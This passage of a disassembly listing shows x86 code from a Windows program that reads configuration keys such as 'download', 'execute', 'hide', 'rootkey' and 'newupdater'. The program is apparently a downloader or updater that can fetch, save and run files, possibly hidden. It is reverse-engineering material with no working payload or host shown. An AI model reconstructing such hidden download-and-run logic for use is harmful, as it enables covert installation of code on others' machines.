mov byte ptr [ebp-4], 0Fh loc_40392B: ; CODE XREF: sub_403488+BDEj push 0 lea ecx, [ebp-10h] call sub_4062CB test al, al jnz loc_40406B cmp dword ptr [ebp-10h], 0 jnz short loc_403949 push ebx call sub_411822 loc_403949: ; CODE XREF: sub_403488+4B9j mov ecx, [ebp-10h] lea eax, [ebp-0A4h] push eax call sub_40444A mov ecx, [eax] mov byte ptr [ebp-4], 10h test ecx, ecx jz short loc_403969 call sub_404243 jmp short loc_40396B ; --------------------------------------------------------------------------- loc_403969: ; CODE XREF: sub_403488+4D8j xor eax, eax loc_40396B: ; CODE XREF: sub_403488+4DFj push eax lea eax, [ebp-2140h] push offset aS ; "%s" push eax call dword_4131E4 ; sprintf add esp, 0Ch lea ecx, [ebp-0A4h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 push offset aRootkey ; "rootkey" lea ecx, [ebp-0CCh] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 11h jnz short loc_4039B2 push ebx call sub_411822 loc_4039B2: ; CODE XREF: sub_403488+522j mov ecx, [ebp-10h] lea eax, [ebp-5Ch] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-5Ch] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-0CCh] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_4039FD lea eax, [ebp-2140h] push eax lea eax, [edi-2000h] push eax call dword_4130CC ; lstrcpyA loc_4039FD: ; CODE XREF: sub_403488+55Fj push offset aKey ; "key" lea ecx, [ebp-0ACh] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 12h jnz short loc_403A23 push 80004003h call sub_411822 loc_403A23: ; CODE XREF: sub_403488+58Fj mov ecx, [ebp-10h] lea eax, [ebp-64h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-64h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-0ACh] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403A68 lea eax, [ebp-2140h] push eax push edi call dword_4130CC ; lstrcpyA loc_403A68: ; CODE XREF: sub_403488+5D0j push offset aKeyvalue ; "keyvalue" lea ecx, [ebp-0D8h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 13h jnz short loc_403A8E push 80004003h call sub_411822 loc_403A8E: ; CODE XREF: sub_403488+5FAj mov ecx, [ebp-10h] lea eax, [ebp-6Ch] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-6Ch] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-0D8h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403AD9 lea eax, [ebp-2140h] push eax lea eax, [edi+2000h] push eax call dword_4130CC ; lstrcpyA loc_403AD9: ; CODE XREF: sub_403488+63Bj push offset aRequiredfile ; "requiredfile" lea ecx, [ebp-0B4h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 14h jnz short loc_403AFF push 80004003h call sub_411822 loc_403AFF: ; CODE XREF: sub_403488+66Bj mov ecx, [ebp-10h] lea eax, [ebp-74h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-74h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-0B4h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403B4A lea eax, [ebp-2140h] push eax lea eax, [edi+4000h] push eax call dword_4130CC ; lstrcpyA loc_403B4A: ; CODE XREF: sub_403488+6ACj push offset aFilename ; "filename" lea ecx, [ebp-0D4h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 15h jnz short loc_403B70 push 80004003h call sub_411822 loc_403B70: ; CODE XREF: sub_403488+6DCj mov ecx, [ebp-10h] lea eax, [ebp-7Ch] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-7Ch] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-0D4h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403BBB lea eax, [ebp-2140h] push eax lea eax, [edi-0A000h] push eax call dword_4130CC ; lstrcpyA loc_403BBB: ; CODE XREF: sub_403488+71Dj push offset aParameters ; "parameters" lea ecx, [ebp-0BCh] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 16h jnz short loc_403BE1 push 80004003h call sub_411822 loc_403BE1: ; CODE XREF: sub_403488+74Dj mov ecx, [ebp-10h] lea eax, [ebp-30h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-30h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-0BCh] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403C2C lea eax, [ebp-2140h] push eax lea eax, [edi-8000h] push eax call dword_4130CC ; lstrcpyA loc_403C2C: ; CODE XREF: sub_403488+78Ej push offset aSaveas ; "SaveAs" lea ecx, [ebp-0E0h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 17h jnz short loc_403C52 push 80004003h call sub_411822 loc_403C52: ; CODE XREF: sub_403488+7BEj mov ecx, [ebp-10h] lea eax, [ebp-8Ch] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-8Ch] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-0E0h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403CA3 lea eax, [ebp-2140h] push eax lea eax, [edi-6000h] push eax call dword_4130CC ; lstrcpyA loc_403CA3: ; CODE XREF: sub_403488+805j push offset aSavepath ; "SavePath" lea ecx, [ebp-38h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 18h jnz short loc_403CC6 push 80004003h call sub_411822 loc_403CC6: ; CODE XREF: sub_403488+832j mov ecx, [ebp-10h] lea eax, [ebp-34h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-34h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-38h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403D0E lea eax, [ebp-2140h] push eax lea eax, [edi-4000h] push eax call dword_4130CC ; lstrcpyA loc_403D0E: ; CODE XREF: sub_403488+870j push offset aHide ; "hide" lea ecx, [ebp-48h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 19h jnz short loc_403D31 push 80004003h call sub_411822 loc_403D31: ; CODE XREF: sub_403488+89Dj mov ecx, [ebp-10h] lea eax, [ebp-40h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-40h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-48h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403D7E cmp byte ptr [ebp-2140h], 30h jnz short loc_403D77 and byte ptr [edi+0A001h], 0 jmp short loc_403D7E ; --------------------------------------------------------------------------- loc_403D77: ; CODE XREF: sub_403488+8E4j mov byte ptr [edi+0A001h], 1 loc_403D7E: ; CODE XREF: sub_403488+8DBj ; sub_403488+8EDj push offset aExecute ; "execute" lea ecx, [ebp-58h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Ah jnz short loc_403DA1 push 80004003h call sub_411822 loc_403DA1: ; CODE XREF: sub_403488+90Dj mov ecx, [ebp-10h] lea eax, [ebp-50h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-50h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-58h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403DEE cmp byte ptr [ebp-2140h], 30h jnz short loc_403DE7 and byte ptr [edi+0A002h], 0 jmp short loc_403DEE ; --------------------------------------------------------------------------- loc_403DE7: ; CODE XREF: sub_403488+954j mov byte ptr [edi+0A002h], 1 loc_403DEE: ; CODE XREF: sub_403488+94Bj ; sub_403488+95Dj push offset aWait ; "wait" lea ecx, [ebp-68h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Bh jnz short loc_403E11 push 80004003h call sub_411822 loc_403E11: ; CODE XREF: sub_403488+97Dj mov ecx, [ebp-10h] lea eax, [ebp-60h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-60h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-68h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403E5E cmp byte ptr [ebp-2140h], 30h jnz short loc_403E57 and byte ptr [edi+0A004h], 0 jmp short loc_403E5E ; --------------------------------------------------------------------------- loc_403E57: ; CODE XREF: sub_403488+9C4j mov byte ptr [edi+0A004h], 1 loc_403E5E: ; CODE XREF: sub_403488+9BBj ; sub_403488+9CDj push offset aNewupdater ; "newupdater" lea ecx, [ebp-78h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Ch jnz short loc_403E81 push 80004003h call sub_411822 loc_403E81: ; CODE XREF: sub_403488+9EDj mov ecx, [ebp-10h] lea eax, [ebp-70h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-70h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-78h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403ECE cmp byte ptr [ebp-2140h], 30h jnz short loc_403EC7 and byte ptr [edi+0A000h], 0 jmp short loc_403ECE ; --------------------------------------------------------------------------- loc_403EC7: ; CODE XREF: sub_403488+A34j mov byte ptr [edi+0A000h], 1 loc_403ECE: ; CODE XREF: sub_403488+A2Bj ; sub_403488+A3Dj push offset aVersion_0 ; "version" lea ecx, [ebp-88h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Dh jnz short loc_403EF4 push 80004003h call sub_411822 loc_403EF4: ; CODE XREF: sub_403488+A60j mov ecx, [ebp-10h] lea eax, [ebp-80h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-80h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-88h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403F3F lea eax, [ebp-2140h] push eax lea eax, [edi+6000h] push eax call dword_4130CC ; lstrcpyA loc_403F3F: ; CODE XREF: sub_403488+AA1j push offset aIdentifier ; "identifier" lea ecx, [ebp-98h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Eh jnz short loc_403F65 push 80004003h call sub_411822 loc_403F65: ; CODE XREF: sub_403488+AD1j mov ecx, [ebp-10h] lea eax, [ebp-90h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-90h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-98h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_403FB6 lea eax, [ebp-2140h] push eax lea eax, [edi+8000h] push eax call dword_4130CC ; lstrcpyA loc_403FB6: ; CODE XREF: sub_403488+B18j push offset aCrc ; "crc" lea ecx, [ebp-0A8h] call sub_404151 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Fh jnz short loc_403FDC push 80004003h call sub_411822 loc_403FDC: ; CODE XREF: sub_403488+B48j mov ecx, [ebp-10h] lea eax, [ebp-0A0h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-0A0h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-0A8h] mov byte ptr [ebp-4], 0Fh call sub_4041A5 test bl, bl jz short loc_40402D lea eax, [ebp-2140h] push eax call dword_4131A8 ; atoi pop ecx mov [edi+0A008h], eax loc_40402D: ; CODE XREF: sub_403488+B8Fj cmp dword ptr [ebp-10h], 0 jnz short loc_40403D push 80004003h call sub_411822 loc_40403D: ; CODE XREF: sub_403488+BA9j mov ecx, [ebp-10h] lea eax, [ebp-0B0h] push eax call sub_404418 push dword ptr [eax] lea ecx, [ebp-10h] call sub_4062A0 lea ecx, [ebp-0B0h] call sub_406293 mov ebx, 80004003h jmp loc_40392B ; --------------------------------------------------------------------------- loc_40406B: ; CODE XREF: sub_403488+4AFj lea esi, [edi-4000h] push 0Ah push offset aWindows ; "windows" push esi call dword_4131AC ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4040A0 mov eax, [ebp-28h] push dword ptr [eax+1Ch] push esi call sub_411628 ; strcpy push offset dword_417130 push esi call sub_411640 ; strcat add esp, 10h loc_4040A0: ; CODE XREF: sub_403488+BFCj inc dword ptr [ebp-24h] lea ecx, [ebp-10h] add edi, 1400Ch mov byte ptr [ebp-4], 0Eh call sub_406293 cmp dword ptr [ebp-18h], 0 jnz short loc_4040C1 push ebx call sub_411822 loc_4040C1: ; CODE XREF: sub_403488+C31j mov ecx, [ebp-18h] lea eax, [ebp-0B8h] push eax call sub_404418 push dword ptr [eax] lea ecx, [ebp-18h] call sub_4062A0 lea ecx, [ebp-0B8h] call sub_406293 jmp loc_4038FD ; --------------------------------------------------------------------------- loc_4040EA: ; CODE XREF: sub_403488+481j lea ecx, [ebp-18h] mov byte ptr [ebp-4], 1 call sub_406293 mov edi, offset aS ; "%s" loc_4040FB: ; CODE XREF: sub_403488+437j cmp dword ptr [ebp-14h], 0 jnz short loc_40410B push 80004003h call sub_411822 loc_40410B: ; CODE XREF: sub_403488+C77j mov ecx, [ebp-14h] lea eax, [ebp-2Ch] push eax call sub_404418 push dword ptr [eax] lea ecx, [ebp-14h] call sub_4062A0 lea ecx, [ebp-2Ch] call sub_406293 xor ebx, ebx jmp loc_4034FB ; --------------------------------------------------------------------------- loc_404130: ; CODE XREF: sub_403488+7Ej lea ecx, [ebp-14h] call sub_406293 lea ecx, [ebp+8] call sub_406293 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_403488 endp ; =============== S U B R O U T I N E ======================================= sub_404151 proc near ; CODE XREF: sub_403488+8Fp ; sub_403488+1B2p ... mov eax, offset loc_411DB2 call sub_41163A ; _EH_prolog push ecx push esi mov esi, ecx push 0Ch call sub_4114F4 pop ecx mov ecx, eax mov [ebp-10h], ecx and dword ptr [ebp-4], 0 test ecx, ecx jz short loc_40417E push dword ptr [ebp+8] call sub_4041E3 jmp short loc_404180 ; --------------------------------------------------------------------------- loc_40417E: ; CODE XREF: sub_404151+21j xor eax, eax loc_404180: ; CODE XREF: sub_404151+2Bj or dword ptr [ebp-4], 0FFFFFFFFh mov [esi], eax test eax, eax jnz short loc_404194 push 8007000Eh call sub_411822 loc_404194: ; CODE XREF: sub_404151+37j mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_404151 endp ; =============== S U B R O U T I N E ======================================= sub_4041A5 proc near ; CODE XREF: sub_403488+CEp ; sub_403488+DDp ... push esi mov esi, ecx mov ecx, [esi] test ecx, ecx jz short loc_4041B6 call sub_404216 and dword ptr [esi], 0 loc_4041B6: ; CODE XREF: sub_4041A5+7j pop esi retn sub_4041A5 endp ; =============== S U B R O U T I N E ======================================= sub_4041B8 proc near ; CODE XREF: sub_403488+BBp ; sub_403488+1DFp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, [ecx] mov eax, [eax] cmp ecx, eax jnz short loc_4041C8 xor eax, eax jmp short locret_4041E0 ; --------------------------------------------------------------------------- loc_4041C8: ; CODE XREF: sub_4041B8+Aj test ecx, ecx jnz short loc_4041D1 or eax, 0FFFFFFFFh jmp short locret_4041E0 ; --------------------------------------------------------------------------- loc_4041D1: ; CODE XREF: sub_4041B8+12j test eax, eax jnz short loc_4041DA push 1 pop eax jmp short locret_4041E0 ; --------------------------------------------------------------------------- loc_4041DA: ; CODE XREF: sub_4041B8+1Bj push eax call sub_40426D locret_4041E0: ; CODE XREF: sub_4041B8+Ej ; sub_4041B8+17j ... retn 4 sub_4041B8 endp ; =============== S U B R O U T I N E ======================================= sub_4041E3 proc near ; CODE XREF: sub_404151+26p ; sub_409670+47p arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] and dword ptr [esi+4], 0 mov dword ptr [esi+8], 1 call sub_4118CF test eax, eax mov [esi], eax jnz short loc_404210 cmp [esp+4+arg_0], eax jz short loc_404210 push 8007000Eh call sub_411822 loc_404210: ; CODE XREF: sub_4041E3+1Bj ; sub_4041E3+21j mov eax, esi pop esi retn 4 sub_4041E3 endp ; =============== S U B R O U T I N E ======================================= sub_404216 proc near ; CODE XREF: sub_4041A5+9p push esi mov esi, ecx push edi lea edi, [esi+8] push edi call dword_4130C4 ; InterlockedDecrement test eax, eax jnz short loc_40423E test esi, esi jz short loc_40423A mov ecx, esi call sub_4042ED push esi call sub_4114EE pop ecx loc_40423A: ; CODE XREF: sub_404216+14j xor eax, eax jmp short loc_404240 ; --------------------------------------------------------------------------- loc_40423E: ; CODE XREF: sub_404216+10j mov eax, [edi] loc_404240: ; CODE XREF: sub_404216+26j pop edi pop esi retn sub_404216 endp ; =============== S U B R O U T I N E ======================================= sub_404243 proc near ; CODE XREF: sub_403488+113p ; sub_403488+234p ... push esi mov esi, ecx cmp dword ptr [esi+4], 0 jnz short loc_404268 push dword ptr [esi] call sub_411944 test eax, eax mov [esi+4], eax jnz short loc_404268 cmp [esi], eax jz short loc_404268 push 8007000Eh call sub_411822 loc_404268: ; CODE XREF: sub_404243+7j ; sub_404243+15j ... mov eax, [esi+4] pop esi retn sub_404243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40426D proc near ; CODE XREF: sub_4041B8+23p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, ecx push esi push edi mov eax, [ebx] test eax, eax jnz short loc_404286 mov eax, [ebp+arg_0] mov eax, [eax] neg eax sbb eax, eax jmp short loc_4042E6 ; --------------------------------------------------------------------------- loc_404286: ; CODE XREF: sub_40426D+Cj mov edi, [ebp+arg_0] cmp dword ptr [edi], 0 jnz short loc_404293 push 1 pop eax jmp short loc_4042E6 ; --------------------------------------------------------------------------- loc_404293: ; CODE XREF: sub_40426D+1Fj mov esi, dword_413278 push eax call esi push dword ptr [edi] mov [ebp+arg_0], eax call esi mov edx, [ebp+arg_0] cmp edx, eax jbe short loc_4042AC mov edx, eax loc_4042AC: ; CODE XREF: sub_40426D+3Bj mov ecx, [ebx] mov edi, [edi] loc_4042B0: ; CODE XREF: sub_40426D+57j mov esi, edx dec edx test esi, esi jbe short loc_4042D2 mov bx, [edi] mov si, [ecx] inc edi inc edi inc ecx inc ecx cmp si, bx jz short loc_4042B0 movzx edx, word ptr [edi-2] movzx eax, word ptr [ecx-2] sub eax, edx jmp short loc_4042E6 ; --------------------------------------------------------------------------- loc_4042D2: ; CODE XREF: sub_40426D+48j cmp [ebp+arg_0], eax jnb short loc_4042DC or eax, 0FFFFFFFFh jmp short loc_4042E6 ; --------------------------------------------------------------------------- loc_4042DC: ; CODE XREF: sub_40426D+68j xor ecx, ecx cmp [ebp+arg_0], eax setnz cl mov eax, ecx loc_4042E6: ; CODE XREF: sub_40426D+17j ; sub_40426D+24j ... pop edi pop esi pop ebx pop ebp retn 4 sub_40426D endp ; =============== S U B R O U T I N E ======================================= sub_4042ED proc near ; CODE XREF: sub_404216+18p push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4042FD push eax call dword_413274 loc_4042FD: ; CODE XREF: sub_4042ED+7j mov esi, [esi+4] test esi, esi jz short loc_40430B push esi call sub_4114EE pop ecx loc_40430B: ; CODE XREF: sub_4042ED+15j pop esi retn sub_4042ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40430D proc near ; CODE XREF: sub_403488+B3p ; sub_403488+1D7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, ecx lea ecx, [ebp+var_4] mov eax, [esi] push ecx push esi call dword ptr [eax+1Ch] test eax, eax jge short loc_404332 push offset dword_417238 push esi push eax call sub_411830 loc_404332: ; CODE XREF: sub_40430D+17j mov ecx, [ebp+arg_0] push 0 push [ebp+var_4] call sub_404347 mov eax, [ebp+arg_0] pop esi leave retn 4 sub_40430D endp ; =============== S U B R O U T I N E ======================================= sub_404347 proc near ; CODE XREF: sub_40430D+2Dp ; sub_40444A+2Dp mov eax, offset loc_411DC6 call sub_41163A ; _EH_prolog push ecx push esi mov esi, ecx push 0Ch call sub_4114F4 pop ecx mov ecx, eax mov [ebp-10h], ecx and dword ptr [ebp-4], 0 test ecx, ecx jz short loc_404377 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40439E jmp short loc_404379 ; --------------------------------------------------------------------------- loc_404377: ; CODE XREF: sub_404347+21j xor eax, eax loc_404379: ; CODE XREF: sub_404347+2Ej or dword ptr [ebp-4], 0FFFFFFFFh mov [esi], eax test eax, eax jnz short loc_40438D push 8007000Eh call sub_411822 loc_40438D: ; CODE XREF: sub_404347+3Aj mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 8 sub_404347 endp ; =============== S U B R O U T I N E ======================================= sub_40439E proc near ; CODE XREF: sub_404347+29p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi mov esi, ecx push edi mov edi, [esp+8+arg_0] and dword ptr [esi+4], 0 cmp [esp+8+arg_4], 0 mov dword ptr [esi+8], 1 jz short loc_4043DD test edi, edi jz short loc_4043DD push edi call dword_41326C push eax push edi call dword_413270 test eax, eax mov [esi], eax jnz short loc_4043DF push 8007000Eh call sub_411822 jmp short loc_4043DF ; --------------------------------------------------------------------------- loc_4043DD: ; CODE XREF: sub_40439E+18j ; sub_40439E+1Cj mov [esi], edi loc_4043DF: ; CODE XREF: sub_40439E+31j ; sub_40439E+3Dj mov eax, esi pop edi pop esi retn 8 sub_40439E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E6 proc near ; CODE XREF: sub_403488+57p ; sub_403488+454p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, ecx lea ecx, [ebp+var_4] mov eax, [esi] push ecx push esi call dword ptr [eax+34h] test eax, eax jge short loc_40440B push offset dword_417238 push esi push eax call sub_411830 loc_40440B: ; CODE XREF: sub_4043E6+17j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] pop esi mov [eax], ecx leave retn 4 sub_4043E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404418 proc near ; CODE XREF: sub_403488+BBFp ; sub_403488+C43p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, ecx lea ecx, [ebp+var_4] mov eax, [esi] push ecx push esi call dword ptr [eax+40h] test eax, eax jge short loc_40443D push offset dword_417238 push esi push eax call sub_411830 loc_40443D: ; CODE XREF: sub_404418+17j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] pop esi mov [eax], ecx leave retn 4 sub_404418 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40444A proc near ; CODE XREF: sub_403488+104p ; sub_403488+225p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, ecx lea ecx, [ebp+var_4] mov eax, [esi] push ecx push esi call dword ptr [eax+68h] test eax, eax jge short loc_40446F push offset dword_417238 push esi push eax call sub_411830 loc_40446F: ; CODE XREF: sub_40444A+17j mov ecx, [ebp+arg_0] push 0 push [ebp+var_4] call sub_404347 mov eax, [ebp+arg_0] pop esi leave retn 4 sub_40444A endp ; =============== S U B R O U T I N E ======================================= sub_404484 proc near ; CODE XREF: sub_40831F+87Dp mov eax, offset loc_411DF0 call sub_41163A ; _EH_prolog sub esp, 1Ch push ebx push esi push edi xor ebx, ebx mov [ebp-4], ebx mov [ebp-18h], ebx mov [ebp-10h], ebx mov esi, [ebp+8] mov byte ptr [ebp-4], 1 cmp esi, ebx mov edi, 80004003h jnz short loc_4044B5 push edi call sub_411822 loc_4044B5: ; CODE XREF: sub_404484+29j lea eax, [ebp-14h] mov ecx, esi push eax call sub_4043E6 push dword ptr [eax] lea ecx, [ebp-10h] call sub_4062A0 lea ecx, [ebp-14h] call sub_406293 loc_4044D2: ; CODE XREF: sub_404484+149j push ebx lea ecx, [ebp-10h] call sub_4062CB test al, al jnz loc_4045D2 push offset aDownload ; "download" lea ecx, [ebp-20h] call sub_404151 mov esi, eax cmp [ebp-10h], ebx mov byte ptr [ebp-4], 2 jnz short loc_404501 push edi call sub_411822 loc_404501: ; CODE XREF: sub_404484+75j mov ecx, [ebp-10h] lea eax, [ebp-1Ch] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-1Ch] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-20h] mov byte ptr [ebp-4], 1 call sub_4041A5 test bl, bl jz short loc_40459E xor esi, esi cmp [ebp-10h], esi jnz short loc_404542 push edi call sub_411822 loc_404542: ; CODE XREF: sub_404484+B6j mov ecx, [ebp-10h] lea eax, [ebp-14h] push eax call sub_4043E6 mov byte ptr [ebp-4], 3 loc_404552: ; CODE XREF: sub_404484+107j push esi lea ecx, [ebp-14h] call sub_4062CB test al, al jnz short loc_40458D inc dword ptr [ebp-18h] cmp [ebp-14h], esi jnz short loc_40456D push edi call sub_411822 loc_40456D: ; CODE XREF: sub_404484+E1j mov ecx, [ebp-14h] lea eax, [ebp-24h] push eax call sub_404418 push dword ptr [eax] lea ecx, [ebp-14h] call sub_4062A0 lea ecx, [ebp-24h] call sub_406293 jmp short loc_404552 ; --------------------------------------------------------------------------- loc_40458D: ; CODE XREF: sub_404484+D9j mov eax, [ebp-14h] mov byte ptr [ebp-4], 1 cmp eax, esi jz short loc_40459E mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40459E: ; CODE XREF: sub_404484+AFj ; sub_404484+112j cmp dword ptr [ebp-10h], 0 jnz short loc_4045AA push edi call sub_411822 loc_4045AA: ; CODE XREF: sub_404484+11Ej mov ecx, [ebp-10h] lea eax, [ebp-28h] push eax call sub_404418 push dword ptr [eax] lea ecx, [ebp-10h] call sub_4062A0 lea ecx, [ebp-28h] call sub_406293 mov esi, [ebp+8] xor ebx, ebx jmp loc_4044D2 ; --------------------------------------------------------------------------- loc_4045D2: ; CODE XREF: sub_404484+59j mov eax, [ebp-10h] and byte ptr [ebp-4], 0 cmp eax, ebx jz short loc_4045E3 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4045E3: ; CODE XREF: sub_404484+157j or dword ptr [ebp-4], 0FFFFFFFFh cmp esi, ebx jz short loc_4045F1 mov eax, [esi] push esi call dword ptr [eax+8] loc_4045F1: ; CODE XREF: sub_404484+165j mov ecx, [ebp-0Ch] mov eax, [ebp-18h] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_404484 endp ; =============== S U B R O U T I N E ======================================= sub_404605 proc near ; CODE XREF: sub_40831F+970p mov eax, offset loc_411E6F call sub_41163A ; _EH_prolog mov eax, 208Ch call sub_4115D0 push ebx mov ebx, ecx mov ecx, [ebp+0Ch] push esi test ecx, ecx push edi jle loc_404A1A mov eax, [ebp+8] mov dword ptr [ebp-1Ch], 0FFFFE000h sub [ebp-1Ch], eax mov [ebp-28h], ecx lea esi, [eax+2000h] loc_40463F: ; CODE XREF: sub_404605+40Fj cmp byte ptr [esi+12000h], 0 jz loc_404733 push esi call sub_41162E ; strlen test eax, eax pop ecx jbe loc_404733 cmp byte ptr [esi], 23h jnz loc_404733 lea eax, [ebp-2098h] push esi push eax call sub_411628 ; strcpy mov edi, offset dword_417260 lea eax, [ebp-2098h] push edi push eax call dword_4131CC ; strstr add esp, 10h test eax, eax jz short loc_4046C1 lea ecx, [ebp-2098h] sub eax, ecx inc eax cmp eax, 1 mov [ebp+0Ch], eax jle short loc_4046C1 push eax lea eax, [ebp-2098h] push eax push esi call dword_41319C ; strncpy mov eax, [ebp-1Ch] mov ecx, [ebp+8] add eax, esi add esp, 0Ch add eax, [ebp+0Ch] and byte ptr [eax+ecx+2000h], 0 loc_4046C1: ; CODE XREF: sub_404605+84j ; sub_404605+95j push edi push esi call sub_411640 ; strcat push dword ptr [ebx+20h] push esi call sub_411640 ; strcat add esp, 10h lea ecx, [ebp-14h] call sub_41151E and dword ptr [ebp-4], 0 push esi lea ecx, [ebp-14h] call sub_41150C push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp+0Ch], esp push eax call sub_411506 lea eax, [ebp-38h] mov ecx, ebx push eax call sub_402FAF push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 1 call sub_411518 and byte ptr [ebp-4], 0 lea ecx, [ebp-38h] call sub_411512 push dword ptr [ebp-14h] push esi call sub_411628 ; strcpy or dword ptr 